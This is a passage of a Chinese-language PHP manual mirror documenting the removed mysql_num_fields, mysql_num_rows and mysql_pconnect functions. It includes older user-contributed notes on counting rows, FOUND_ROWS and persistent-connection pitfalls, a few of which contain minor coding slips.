$varname="Tables_in_".$dbname;
while ($row = mysql_fetch_object($result)) {
   echo $row->$varname;
};
NewToPHP_Guy at Victoria dot NOSPAM dot com 02-Oct-2002 02:06
The example by PHP-Guy to determine if a table exists is interesting and useful (thanx), except for one tiny detail.  The function 'mysql_list_tables()' returns table names in lower case even when tables are created with mixed case.  To get around this problem, add the 'strtolower()' function in the last line as follows:

return(in_array(strtolower($tableName), $tables));
coffee at hayekheaven dot net 17-Jun-2002 05:48
Even though php guy's solution is probably the fastest here's another one just for the heck of it...
I use this function to check whether a table exists. If not it's created.

mysql_connect("server","usr","pwd")
    or die("Couldn't connect!");
mysql_select_db("mydb");

$tbl_exists = mysql_query("DESCRIBE sometable");
if (!$tbl_exists) {
mysql_query("CREATE TABLE sometable (id int(4) not null primary key,
somevalue varchar(50) not null)");
}


取得结果中字段的数量

  • ? mysql_list_tables
  • mysql_num_rows ?
  • PHP Manual
  • MySQL 函数
  • 取得结果中字段的数量

mysql_num_fields

(PHP 4, PHP 5)

mysql_num_fields — 取得结果中字段的数量

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_num_fields()
  • PDOStatement::columnCount()

说明

mysql_num_fields(resource $result): int|false

从查询中检索字段的数量。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

返回值

Returns the number of fields in the result set resource on success 或者在失败时返回 false.

示例

Example #1 mysql_num_fields() 示例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Could not run query: ' . mysql_error();
exit;
}

/* returns 2 because id,email === two fields */
echo mysql_num_fields($result);
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_numfields()

参见

  • mysql_select_db() - 选择 MySQL 数据库
  • mysql_query() - 发送一条 MySQL 查询
  • mysql_fetch_field() - 从结果集中取得列信息并作为对象返回
  • mysql_num_rows() - 获取结果中行数

User Contributed Notes

php at jezusisheer dot nl 29-Mar-2007 11:10
Note that, if you want to get the amount of columns of a table and you're using the "SHOW COLUMNS FROM $table" query, you will have to use mysql_num_rows() instead of mysql_num_fields() on the result. This becomes logical when thinking about it, because the SHOW COLUMNS query returns a result with six columns (Field, Type, Null, Key, Default and Extra) and with a single row for every column found. If you'd count the number of fields, you'd always get 6. If you count the number of rows, you'll get the amount of columns found.
tharkey at tharkey dot net 19-Jun-2003 11:26
You can use it without a requete, just to list the fields :

$liste_champs = mysql_list_fields ( $Base, $Table, $connexion);

for ($i=0; $i < mysql_num_fields ($l_champs); $i++) {
                        echo ( mysql_field_name ($l_champs, $i) );
                        echo (' / ');
                        }
apass AT passmoore DOT com 01-Oct-2002 03:52
Adding to the last comment: you can dynamically loop through any number of  columns AND rows like so-

$query="your SQL";
$result=mysql_query($query) or die("Query ($query) sucks!");
$fields=mysql_num_fields($result);

echo "<table>\n<tr>";
for ($i=0; $i < mysql_num_fields($result); $i++) //Table Header
{ print "<th>".mysql_field_name($result, $i)."</th>"; }
echo "</tr>\n";
while ($row = mysql_fetch_row($result)) { //Table body
echo "<tr>";
    for ($f=0; $f < $fields; $f++) {
    echo "<td>$row[$f]</td>"; }
echo "</tr>\n";}
echo "</table><p>";

This has been tested.
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
bwark at stanford dot edu 24-Dec-2000 02:56
If you just want the number of fields in a table, you can do something like this:

<?php
$db_id = mysql_connet();
$result = mysql_query("DESCRIBE [tableName], $db_id);

$numFields = mysql_num_rows($result);
?>

Because "DESCRIBE" returns one row for each field in the table (at least in MySQL), this will work.


获取结果中行数

  • ? mysql_num_fields
  • mysql_pconnect ?
  • PHP Manual
  • MySQL 函数
  • 获取结果中行数

mysql_num_rows

(PHP 4, PHP 5)

mysql_num_rows — 获取结果中行数

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_num_rows()
  • mysqli_stmt_num_rows()
  • PDOStatement::rowCount()

说明

mysql_num_rows(resource $result): int|false

检索结果集中的行数。此命令仅适用于返回实际结果集的 SELECT 或 SHOW 语句。要检索受 INSERT、UPDATE、REPLACE 或 DELETE 查询影响的行数，请使用 mysql_affected_rows() 函数。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

返回值

The number of rows in a result set on success 或者在失败时返回 false.

示例

Example #1 mysql_num_rows() 示例

<?php

$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM table1", $link);
$num_rows = mysql_num_rows($result);

echo "$num_rows Rows\n";

?>

注释

Note:

如果使用 mysql_unbuffered_query()，则直到检索到结果集中的所有行后 mysql_num_rows() 才能返回正确的值。

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_numrows()

参见

  • mysql_affected_rows() - 取得前一次 MySQL 操作所影响的记录行数
  • mysql_connect() - 打开一个到 MySQL 服务器的连接
  • mysql_data_seek() - 移动内部结果的指针
  • mysql_select_db() - 选择 MySQL 数据库
  • mysql_query() - 发送一条 MySQL 查询

User Contributed Notes

Joebomb 22-Sep-2015 10:51
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
mauriciocramos at gmail dot com 21-Mar-2011 12:43
When mysql.trace_mode = On, SELECT FOUND_ROWS() allway returns 0.  It looks like a bug.

In detail:

If you have a table with 5 rows and issue:

SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 1;

mysql_num_rows() returns 1 as expected.

If you issue "SELECT FOUND_ROWS()" just in sequence, in the same connection resource, it allways returns 0 rather than expected 5.

Just switch mysql.trace_mode to Off and things will work.
Typer85 at gmail dot com 18-Mar-2010 11:20
Actually I am a little ashamed to be saying this, but I stand corrected about a rather old note I posted on 17-Jul-2007 06:44.

Using SQL_CALC_FOUND_ROWS and FOUND_ROWS( ) will NOT trigger a race condition on MySQL, as that would pretty much defy their entire purpose.

The results for their usage is actually unique per connection session as it is impossible for processes to share anything in PHP. As far as PHP is concerned, each request represents a new connection to MySQL as each request is isolated to its own process.

To simulate this, create the following script:

<?php

$Handle = mysql_connect( "localhost" , "root" , "" );
mysql_select_db( "lls" );

if( isset( $_GET[ 'Sleep' ] ) ) {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );
} else {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );
}

if( isset( $_GET[ 'Sleep' ] ) ) {
    sleep( 10 ); // Simulate another HTTP request coming in.
    $Result = mysql_query( "SELECT FOUND_ROWS( )" );
    print_r( mysql_fetch_array( $Result ) );
}

mysql_close( );

?>

Set the connection and query information for something that matches your environment.

Run the script once with the Sleep query string and once again without it. Its important to run them both at the same time. Use Apache ab or something similar, or even easier, just open two browser tabs. For example:

http://localhost/Script.php?Sleep=10
http://localhost/Script.php

If a race condition existed, the results of the first instance of the script would equal the results of the second instance of the script.

For example, the second instance of the script will execute the following SQL query:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );

?>

This happens while the first instance of the script is sleeping. If a race condition existed, when the first instance of the script wakes up, the result of the FOUND_ROWS( ) it executes should be the number of rows in the SQL query the second instance of the script executed.

But when you run them, this is not the case. The first instance of the script returns the number of rows of its OWN query, which is:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );

?>

So it turns out NO race condition exists, and every solution presented to combat this "issue" are pretty much not needed.

Good Luck,
gtaylor at sonic dot net 10-Sep-2008 12:18
In preventing the race condition for the SQL_CALC_FOUND_ROWS and FOUND_ROWS() operations, it can become complicated and somewhat kludgy to include the FOUND_ROWS() result in the actual result set, especially for complex queries and/or result ordering. The query gets more complex, you may have trouble isolating/excluding the FOUND_ROWS() result, and mysql_num_rows() will return the number of actual results + 1, all of which makes your code messier and harder to read. However, the race condition is real and must be dealt with.

A alternative and cleaner method is to explicitly lock the table using a WRITE lock (preventing other processes from reading/writing to the table). The downsides I can see are a performance hit, and your mysql user must have lock permissions.

<?php
    // excuse the use of mysqli instead of mysql

    $mysqli->query("LOCK TABLE t WRITE");
    $results = $mysqli->query("SELECT id FROM t LIMIT 0,10");
    $totalNumResults = array_pop($mysqli->query("SELECT FOUND_ROWS()")->fetch_row());
    $mysqli->query("UNLOCK TABLES");
?>

Now you may iterate through the results just like any other result set.
Tom Fejfar 05-Jun-2008 01:56
Improvement to chrisdberry82 at gmail dot com's code:

<?php
$sql = "
SELECT SQL_CALC_FOUND_ROWS
  '0', z.id
FROM
  zoom AS z
LIMIT
  0,6
UNION
  SELECT
    '1', FOUND_ROWS()
ORDER BY `0` DESC , RAND()";
?>

You can see, that you can even ORDER the final result anyway you like ;)
Then you can fetch the result like this:
<?php
$res = mysql_query($sql);
$count = mysql_fetch_assoc($res);
while($row = mysql_fetch_assoc($res)){
 unset($row["0"]); //get rid of the "sorting col"
 print_r($row); //or whatever ;)
}
echo $count["id"]; // the total number of rows
?>

And you got rid of the lousy IFs ;)
timo 27-May-2008 09:03
<?
$strQuery="SELECT * FROM `tabel`";
$strResult = mysql_query($strQuery);
$Aantalvelden = mysql_num_fields($strResult);
$Aantalrijen=mysql_num_rows($strResult);

echo "<table border='1'><tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strVeldnaam = mysql_field_name($strResult,$ikolom);
echo "<td>$strVeldnaam</td>" ;
}
echo "</tr>";

for($ir=0;$irij<$Aantalrijen;$irij++){
echo "<tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strKolomwaarde = mysql_result($strResult,$irij,$ikolom);
echo "<td>$strKolomwaarde</td>";
}
}
echo "</table>";
?>
chrisdberry82 at gmail dot com 25-May-2008 10:46
The following code can wrap it all up in a single query so you don't have to worry about multiple client requests:

$stmtMain = $mysqli->prepare("SELECT SQL_CALC_FOUND_ROWS jobid,title FROM tbljobs
    LIMIT ?, ? UNION SELECT FOUND_ROWS(),'!!IgnoreCount!!';")

Then iterate through the results with something like:

while ($stmtMain->fetch() && $strResultTitle !="!!IgnoreCount!!") {
//do stuff
}
($strResultSector == '!!IgnoreCount!!')? $intTotal = $intResultCount : 1;
deaggi at deaggi dot net 20-Aug-2007 12:45
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>

johannes
webmaster dasourcerer net 20-Aug-2007 05:42
In one of my applications, I had to let an object know wether it exists in the database or not. I found a cheap solution w/o the usage of mysql_num_rows():

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
Typer85 at gmail dot com 16-Jul-2007 11:44
A note on the following usage; that suggest to use several MySQL Functions to get the number of Table Records.

You may be familiar with following:

<?php

$sqlQuery = 'Select SQL_CALC_FOUND_ROWS `MyField` From `MyTable` Limit 1;';

$sqlQuery_1 = 'Select FOUND_ROWS( );';

?>

I omitted the actual connection to MySQL and the execution of the query, but you get the idea.

I did some tests and on a fairly high traffic web site, one that executes several queries quite often and found that using this combination of MySQL Functions can actually result in wrong results.

For example, assume I have two queries to get the number of Table Records in two different Tables. So in essence, we are executing 4 queries ( 2 queries for each Table ).

If two different requests come in through PHP, your going to run into problems. Note than when I mean request, I mean two different clients requesting your PHP page.

---------------
Request 1:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 1

---------------
Request 2:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 2

---------------
Request 1:
---------------

Execute: Select FOUND_ROWS( )

At this point, you see the race condition that occurred. While Request 1 was being executed, Request 2 came in.

At this point Request 1 will return the number of Table Records in Table 2 and not Table 1 as expected!

Why? Because MySQL does not differ between requests. Each query is in a queue waiting its turn. As soon as its turn comes in it will be executed my MySQL.

The MySQL Function Select FOUND_ROWS( ) will return the result of the last SQL_CALC_FOUND_ROWS!

Keep in mind.
Jonas 08-Dec-2005 01:55
A small tip concerning SQL_CALC_FOUND_ROWS and FOUND_ROWS()

Remember that you can us "AS" when working with mysql_fetch_assoc.

$sql="
    SELECT
        FOUND_ROWS() AS `found_rows`;
";
$result = mysql_query($sql);
$myrow = mysql_fetch_assoc($result);
$row_count = $myrow['found_rows'];

echo $row_count;
simon_nuttall at hotmail dot com 12-Nov-2005 07:36
Object oriented version of wil1488 at gmail dot com's comment for counting table rows:
<?php
$result = $mysqli->query("SELECT COUNT(*) as TOTALFOUND from table");
$row_array=$result->fetch_array(MYSQLI_ASSOC);
print($row_array['TOTALFOUND']);
?>
wil1488 at gmail dot com 31-May-2005 07:53
To use SQL COUNT function, without select the source...

see an example:

<?
//MAKE THE CONNECTION WITH DATABASE

$my_table = mysql_query("SELECT COUNT(*) as TOTALFOUND from table", $link); //EXECUTE SQL CODE
Note: will return the total on TOTALFOUND

print (mysql_result($my_table,0,"TOTALFOUND")); //use the field camp to get the total from your SQL query!
?>

Thanks, good luck.
dzver at abv dot bg 20-Feb-2005 05:00
It is faster to run second query "select count(...) from ... ", than adding SQL_CALC_FOUND_ROWS to your first query, and then using select FOUND_ROWS() + mysql_num_rows().
29-Jan-2005 05:18
In response to oran at trifeed dot com:

You are only experiencing this behaviour because you have not given your FOUND_ROWS() result an alias:

$qry = mysql_query ( 'SELECT FOUND_ROWS() AS total' );
$rst = mysql_fetch_array ( $qry, MYSQL_ASSOC );
echo $rst['total'];

Sean :)
oran at trifeed dot com 15-Dec-2004 09:06
For me

SELECT SQL_CALC_FOUND_ROWS together with
SELECT FOUND_ROWS()

Only worked with the following syntax:
$result = @mysql_query($query);
$resultTotal = @mysql_query("SELECT FOUND_ROWS()");
$res=    mysql_fetch_array($resultTotal);
echo $res['FOUND_ROWS()'];

hope it helped

oran
http://www.trifeed.com
pjoe444 at yahoo dot com 18-Nov-2004 03:38
Re my last entry:

This seems the best workaround to get an 'ordinary' loop going, with possibility of altering output according to row number
(eg laying out a schedule)

$rowno=mysql_num_rows($result);

for ($i=0; $i<mysql_num_rows($result); $i++) {
$row = mysql_fetch_assoc($result);

print "<div class=\"showing\">";
print "<b>".$row['timeon']."-".$row['timeoff']."</b> ".$row['event']."<br />;
if ($i!=$rowno-1) {
    print "other-html-within-sched-here</div>";
    }
else print "end-last-entry-html-here</div>";
}  //close loop
pjoe444 at yahoo dot com 18-Nov-2004 02:24
A pity there seems no way of getting the CURRENT  row number that's under iteration in a typical loop,
such as:
while ($row = mysql_fetch_assoc($result)) { }

After all there is an array of row arrays, as signified by
mysql_num_rows($result):

Say this gives "40 rows" : it would be useful to know when the iteration is on row 39.

The nearest seems to be "data seek":but it connects directly to a
row number eg (from mysql_data_seek page)

for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
   if (!mysql_data_seek($result, $i)) {
       echo "Cannot seek to row $i: " . mysql_error() . "\n";
       continue;
   }

= it still wouldn't solve knowing what row number you're on in an ordinary loop.

One reason for this situation is the php fetch (fetch-a-single-row) construction, without any reasonable FOR loop possibility with row numbers.

Suggestion:
$Rows[$i] possibility where
$i would be the row number

$Rows[$row[], $row[], $row[].....]
             0            1            2     etc

-- the excellent retrieval WITHIN a row ( $row[$i] ),
while certainly more important,  is not matched by
similar possibilities for rows themselves.

and Count($result) doesnt work of course, $result being a
mere ticket-identifier...

Peter T
sam at liddicott dot com 04-Nov-2004 05:40
Some user comments on this page, and some resources including the FAQ at :

http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12 suggest using count(*) to count the number of rows

This is not a particularly universal solution, and those who read these comments on this page should also be aware that

select count(*) may not give correct results if you are using "group by" or "having" in your query, as count(*) is an agregate function and resets eachtime a group-by column changes.

select sum(..) ... left join .. group by ... having ...

can be an alternative to sub-selects in mysql 3, and such queries cannot have the select fields replaced by count(*) to give good results, it just doesn't work.

Sam
aaronp123 att yahoo dott comm 21-Feb-2003 05:40
I may indeed be the only one ever to encounter this - however if you have a myisam table with one row, and you search with valid table and column name for a result where you might expect 0 rows, you will not get 0, you will get 1, which is the myisam optimised response when a table has 0 or one rows.  Under "5.2.4 How MySQL Optimises WHERE Clauses" it reads:

*Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.

and

*All constant tables are read first, before any other tables in the query. A constant table is:
1) An empty table or a table with 1 row.
2) A table that is used with a WHERE clause on a UNIQUE index, or a PRIMARY KEY, where all index parts are used with constant expressions and the index parts are defined as NOT NULL.

Hopefully this will keep someone from staying up all night with 1146 errors, unless I am completely mistaken in thinking I have this figured out.
tac at smokescreen dot org 13-Jan-2002 11:58
MySQL 4.0 supports a fabulous new feature that allows you to get the number of rows that would have been returned if the query did not have a LIMIT clause.  To use it, you need to add SQL_CALC_FOUND_ROWS to the query, e.g.

$sql = "Select SQL_CALC_FOUND_ROWS * from table where state='CA' limit 50";
$result = mysql_query($sql);

$sql = "Select FOUND_ROWS()";
$count_result = mysql_query($sql);

You now have the total number of rows in table that match the criteria.  This is great for knowing the total number of records when browsing through a list.
philip at cornado dot c()m 06-May-2001 11:37
Regarding SQL count(), see this faq :
* http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12
Note: If you already have a $result, use mysql_num_rows() on it otherwise use SQL count().  Don't SELECT data just for a count.


打开一个到 MySQL 服务器的持久连接

  • ? mysql_num_rows
  • mysql_ping ?
  • PHP Manual
  • MySQL 函数
  • 打开一个到 MySQL 服务器的持久连接

mysql_pconnect

(PHP 4, PHP 5)

mysql_pconnect — 打开一个到 MySQL 服务器的持久连接

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_connect() with p: host prefix
  • PDO::__construct() with PDO::ATTR_PERSISTENT as a driver option

说明

mysql_pconnect(
string $server = ini_get("mysql.default_host"),
string $username = ini_get("mysql.default_user"),
string $password = ini_get("mysql.default_password"),
int $client_flags = 0
): resource

打开一个到 MySQL 服务器的持久连接。

mysql_pconnect() 和 mysql_connect() 非常相似，但有两个主要区别。

首先，当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的（持久）连接，如果找到，则返回此连接标识而不打开新连接。

其次，当脚本执行完毕后到 SQL 服务器的连接不会被关闭，此连接将保持打开以备以后使用（mysql_close() 不会关闭由 mysql_pconnect() 建立的连接）。

此种连接称为"持久的"。

参数

server

MySQL 服务器地址，参数也可以包括端口号，例如 "hostname:port" 或者是本机套接字的的路径，例如 ":/path/to/socket"

如果 PHP 配置文件中 mysql.default_host 的值未设置（默认情况下），则默认值为 'localhost:3306'

username

数据库连接使用的用户名。默认为当前服务器进程的用户。

password

数据库连接使用的密码。默认为空密码。

client_flags

参数 client_flags 可以为以下常量： 128 (enable LOAD DATA LOCAL handling), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE 或 MYSQL_CLIENT_INTERACTIVE。

返回值

如果成功则返回一个正的 MySQL 持久连接标识符，出错则返回 false。

注释

Note:

需要注意的是，此函数仅当在 PHP 模块化运行时才会生效。更多信息请参阅 持久数据库连接 章节。

Warning

使用持久连接可能需要对 Apache 和 MySQL 配置进行一些调整，以确保不超过 MySQL 服务器允许的最大连接数。

参见

  • mysql_connect() - 打开一个到 MySQL 服务器的连接
  • Persistent Database Connections

User Contributed Notes

m at louislivi dot com 10-Aug-2019 01:51
SMProxy
A MySQL database connection pool based on MySQL protocol and Swoole.
https://github.com/louislivi/SMProxy
shane 04-Jun-2011 12:35
The new mysqlnd library, which replaces the old libmysql, should make disappearing connections a thing of the past. It refreshes the connection (either change_user or ping) before trying to use it. (It also uses less memory, and generally has better performance.) I've only tried it with mysqli, but the native extension also uses it. It's available for PHP >= 5.3, MySQL >= 4.1.
seawyvern at gmail dot com 13-Aug-2010 12:10
(using PHP v5.3.2)
This might help other people who are running into a similar issue. I would occasionally get this error in my apache error log:

PHP Warning:  mysql_pconnect(): MySQL server has gone away

It appears the persistent connection mysql_pconnect() was returning had timed out and mysql_pconnect() didn't detect it. To address this issue I added some code to check for this case using mysql_ping() and request another connection from mysql_pconnect() if this situation occurred. It appears that the combination of the checking for the time out with mysql_ping( ) and re-requesting the connection with mysql_pconnect( ) either caused the original connection to re-connect or forced mysql_pconnect() to recognize that the connection had timed out and request a new one. The documentation for mysql_ping( ) says that it will force a re-connect if it detects a timeout, however comments on the documentation page mention that this feature has been disabled for some time. Anyways here is the code I used, hope it helps:

$dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );

if ( !mysql_ping( $dbConnection ) )
{
   $dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );
}
Tom 28-Dec-2009 05:43
Persistent connections work well for CGI PHP managed by fastCGI, contrary to the suggestion above that they only work for the module version. That's because fastCGI keeps PHP processes running between requests. Persistent connections in this mode are easily made immune to connection limits too, because you can set PHP_FCGI_CHILDREN << mysql's max_connections <<< Apache's MaxClients. This also saves resources.
David 26-Sep-2009 01:45
Right after I upgraded to PHP 5.3 I started getting "MySQL server has gone away" errors on almost every other page request from the apache server. I tried a few ideas that didn't work. Here is the solution: I changed all my mysql_pconnect() statements to mysql_connect(). It fixed the problem. For some reason PHP 5.3 does not like persistent connections.
david at hundsness dot com 11-Sep-2008 10:44
Here's a recap of important reasons NOT to use persistent connections:

* When you lock a table, normally it is unlocked when the connection closes, but since persistent connections do not close, any tables you accidentally leave locked will remain locked, and the only way to unlock them is to wait for the connection to timeout or kill the process. The same locking problem occurs with transactions. (See comments below on 23-Apr-2002 & 12-Jul-2003)

* Normally temporary tables are dropped when the connection closes, but since persistent connections do not close, temporary tables aren't so temporary. If you do not explicitly drop temporary tables when you are done, that table will already exist for a new client reusing the same connection. The same problem occurs with setting session variables. (See comments below on 19-Nov-2004 & 07-Aug-2006)

* If PHP and MySQL are on the same server or local network, the connection time may be negligible, in which case there is no advantage to persistent connections.

* Apache does not work well with persistent connections. When it receives a request from a new client, instead of using one of the available children which already has a persistent connection open, it tends to spawn a new child, which must then open a new database connection. This causes excess processes which are just sleeping, wasting resources, and causing errors when you reach your maximum connections, plus it defeats any benefit of persistent connections. (See comments below on 03-Feb-2004, and the footnote at http://devzone.zend.com/node/view/id/686#fn1)
JM 26-Apr-2008 09:16
If you get an error message which refers to a failure regarding /var/mysql/mysql.sock, try changing your php.ini so that mysql.default_socket=/tmp/mysql.sock
Sabyasachi Ruj 17-Aug-2007 01:00
If you are using mysql_pconnect(), and say the MySQL server has five persistent connection pooled for that client.

Now mysql_pconnect can return any one of them.

So, If you are expecting that mysql_pconnect will return always use the same persistent connection, that is not the case.

So, say you are executing after connecting with mysql_pconnect:

set @aa=6;

And in another page you have again done mysql_pconnect, and executed:

select @aa;

That will not necessarily return '6' as the result!

Because the second mysql_pconnect can take another persistent connection from that server's connection pool.
Nils Meyer nils at weiss-bescheid dot de 07-Aug-2006 06:03
Be careful when setting variables on a persistent mysql connection. Example:
// Set result charset to UTF8
mysql_query("SET SESSION character_set_results = 'UTF8'");

If another script reuses your persistent connection, it will also use the UTF-8 charset. This created a problem with typo3 and TemplaVoila, which reads serialized data from the database. The data is returned as UTF8, but the script expects latin1 and dies with a serialize error ("Template Object could not be unserialized successfully."). This problem is especially tricky because it works on some requests and crashes on others - because the variable is not set on all connections in the persistent connection pool.

A possible solution is to reset variables to their default value afterwards:
$ret = mysql_query("SHOW VARIABLES LIKE 'character_set_results'");
list($foo, $old_charset) = mysql_fetch_assoc($ret);
mysql_query("SET SESSION character_set_results = 'UTF8'");
// do some fancy utf8 stuff
// ..

// revert to old encoding
mysql_query("SET SESSION character_set_results = '$old_charset'");

or simply use mysql_connect(), as previously stated it makes more sense in most enviroments and there are less things to bother with   (like variables, transactions, temporary tables).
3ch0 20-May-2006 02:01
pconnect is preferred when you are using a remote database server on a major web site. mysql in particular stays happier with 1 open connection as opposed to 1000 connections a minute =)
Ron 15-Sep-2005 08:34
Here's a nifty little class which will load balance across multiple replicated MySQL server instances, using persistent connections, automatically removing failed MySQL servers from the pool.

You would ONLY use this for queries, never inserts/updates/deletes, UNLESS you had a multi-master situation where updates to any database serverautomatically replicate to the other servers (I don't know whether that's possible with MySQL).

Using this class, you get a connection to a MySQL server like this:
    $con = MySQLConnectionFactory::create();

Here is the class (you'll need to customize the $SERVERS array for your configuration -- note that you would probably use the same username, password and database for all of the servers, just changing the host name, but you're not forced to use the same ones):

<?php
class MySQLConnectionFactory {
    static $SERVERS = array(
    array(
        'host' => 'myHost1',
        'username' => 'myUsername1',
        'password' => 'myPassword1',
        'database' => 'myDatabase1'),
    array(
        'host' => 'myHost2',
        'username' => 'myUsername1',
        'password' => 'myPassword2',
        'database' => 'myDatabase2')
    );

    public static function create() {
    // Figure out which connections are open, automatically opening any connections
    // which are failed or not yet opened but can be (re)established.
    $cons = array();
    for ($i = 0, $n = count(MySQLConnectionFactory::$SERVERS); $i < $n; $i++) {
        $server = MySQLConnectionFactory::$SERVERS[$i];
        $con = mysql_pconnect($server['host'], $server['username'], $server['password']);
        if (!($con === false)) {
        if (mysql_select_db($server['database'], $con) === false) {
            echo('Could not select database: ' . mysql_error());
            continue;
        }
        $cons[] = $con;
        }
    }
    // If no servers are responding, throw an exception.
    if (count($cons) == 0) {
        throw new Exception
        ('Unable to connect to any database servers - last error: ' . mysql_error());
    }
    // Pick a random connection from the list of live connections.
    $serverIdx = rand(0, count($cons)-1);
    $con = $cons[$serverIdx];
    // Return the connection.
    return $con;
    }
}
?>
tomek at 3kropki dot pl 29-Dec-2004 09:36
Instead of use wait_timeout, you can set interactive_timeout to short period of time (for ex. 20 sec.) this is a lot better solution in apache + mysql environment than wait_timeout.

To know more about interactive_timeout - look to mysql documentation.
federico dot chiesa at tiscali dot it 19-Nov-2004 05:08
Be very careful when using persistent connections and temporary tables on MySQL: in MySQL, temporary tables are visible only to the currenct connection, but if you have a persistent connection the temporary tables will supposedly be visible to everybody sharing the same persistent connection. This can lead to major trouble. I suggest to use totally random temporary table names when using persistent connections to avoid major problems.
markunderscoreconnollyatacmdotorg 27-Oct-2004 10:59
I would like to comment on the post from dfischer at qualcomm dot com that proposes spanning transactions over multiple application invocations, in case someone is bold enough to try it.

I'll assume the table types being used are one of those that support transactions, such as InnoDB or BerkeleyDB.

First, there is a question of whether this would work at all.  To work at all, the transaction context would have to be preserved across all the invocations of the php code through the web server.  Reading the description of http://www.php.net/manual/en/features.persistent-connections.php maintaining transaction context would be at best a coincidence.  It would be interesting to find out that this does work on occasion and to understand the ramifications of such behavior.  If I happened to get your connection and my action was a cancel, your updates might be gone.

Second, if such a thing did work (occassionally or always), there would be performance implications as the underlying database managed transactions that were pretty much open-ended.  A few long-running transactions would likely eat up many resources in a short time and the likelihood of concurrency conflicts could rise.  If the mysql_pconnect behavior is to keep transaction open at the end of php processing, then it would probably be better to not define transactions when using mysql_pconnect. And, transactions that were never closed by code (user went out to lunch and got hit by a bus) could hold resources for quite some time (maybe until after rehab).

So, even if such a scheme COULD work, it is not a good idea.  The transaction should be committed or rolled back at the end of the user request processing.  This allows the DBMS to properly manage resource ultilization and keeps bad things from happening to good data.  If mysql_pconnect does not coordinate well with the transaction component of the database engine to always end a transaction at the end of processing a request, then mysql_pconnect should never be used where begin transaction is used.
dfischer at qualcomm dot com 06-Jul-2004 05:57
You also may consider using pconnect if you have transactions that span multiple pages. For example, in applications that I develop, I start a transaction on the moment I query selecting the data that the user plans on editing. I then commit the transactions after the user hits the submit button and the data is committed.

I cannot simply use mysql_connect as then the connection would be terminated at the end of the page and if I did not commit my transaction, it is automatically rolled back.
matt *at* roughest *dot* net 10-Mar-2004 08:18
Be very careful when using persistent connections on a machine running multiple mysql servers. You must specify the correct socket path, otherwise PHP will reuse connections irregardless of what server they are connected to. That is, it will see an open connection with matching parameters and use it, even if the connection is actually for a different server.
mightye (at) mightye (dot) org 03-Feb-2004 04:19
Normally you do NOT want to use mysql_pconnect.  This function is designed for environments which have a high overhead to connecting to the database.  In a typical MySQL / Apache / PHP environment, Apache will create many child processes which lie in idle waiting for a web request to be assigned to them.  Each of these child processes will open and hold its own MySQL connection.  So if you have a MySQL server which has a limit of 50 connections, but Apache keeps more than 50 child processes running, each of these child processes can hold a connection to your MySQL server, even while they are idle (idle httpd child processes don't lend their MySQL connection to other httpd children, they hold their own).  So even if you only have a few pages which actually connect to MySQL on a busy site, you can run out of connections, with all of them not actually being used.

In general use mysql_connect() for connecting to MySQL unless that connection takes a long time to establish.
aaryal at foresightint dot com 15-Jan-2004 03:25
don't use pconnect in a situation with MySQL running on one host but on multiple ports (a multiple database configuration). the connection pooling algo in php apparently only keys off of the host, username and password but not the port. therefore, if you use the same host, username and password but a different port, you might get a connection that is connected to a different port than the one you asked for.
spam at vrana dot cz 04-Nov-2003 10:53
